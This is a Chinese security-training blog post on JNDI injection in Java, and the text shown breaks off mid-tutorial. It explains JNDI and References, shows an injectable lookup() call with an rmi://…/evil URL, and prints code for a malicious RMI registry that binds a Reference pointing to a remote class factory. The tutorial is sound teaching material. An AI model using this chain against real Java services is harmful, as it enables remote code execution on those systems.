深入理解JAVA中的JNDI注入

本文介绍了JNDI(Java Naming and Directory Interface)的基本概念,它是一种用于查找和访问资源的接口。文章详细讨论了JNDI的注入点,特别是通过References类绑定远程对象并利用ObjectFactory执行恶意代码的可能性。还提到了JNDI References在RMI服务中的作用,以及JDK版本对JNDI注入安全性的影响,并给出了JDBC RowSetImpl的JNDI注入利用链。此外,文章还探讨了JNDI注入的潜在问题和防范措施。
摘要由CSDN通过智能技术生成

文章来源|MS08067安全实验室

本文作者:D_infinite(Java审计培训班讲师)


什么是JNDI?

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。

就个人的理解,JNDI相当于在LDAP RMI等服务外面再套了一层API,方便统一调用。

JNDI的注入点

假设client端地址为10.0.0.1,先来看下面一段,JNDI的client端的代码

Context context = new  InitialContext();
context.lookup(providerURL);

其中providerURL为可控变量,此时,可以传入任意JNDI服务路径来实现注入,如

?providerURL=rmi://10.0.0.2:9527/evil

但是问题来了,此时即使执行了evil所绑定的类,依然是在10.0.0.2上执行,无法影响到10.0.0.1,因此要引入一个新的概念

JNDI References

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

通过查阅References的源码,可以得知,其主要记录了如下信息

protected String className;
protected Vector<RefAddr> addrs = null;
protected String classFactory = null;
protected String classFactoryLocation = null;

其中classFactoryLocation实际上是LDAP或者RMI的地址

真正的JNDI注入

假设server地址为10.0.0.2,构造如下恶意RMI服务代码

Registry registry = LocateRegistry.createRegistry(9527);
Reference exec = new Reference("Exec", "Exec", "http://127.0.0.1:8080/");
ReferenceWrapper refWrap = new ReferenceWrapper(exec);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:9527/exec");
registry.bind("exec", refWrap);

上述代码非常简单,主要是将/exec这个路径绑定到一个Reference上,而这个Reference指向127.0.0.1:8080/Exec.class,其中Reference的构造函数第一个参数是className,第二个参数是classFactory

紧接着让我们构造Exec这个恶意类

imp
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值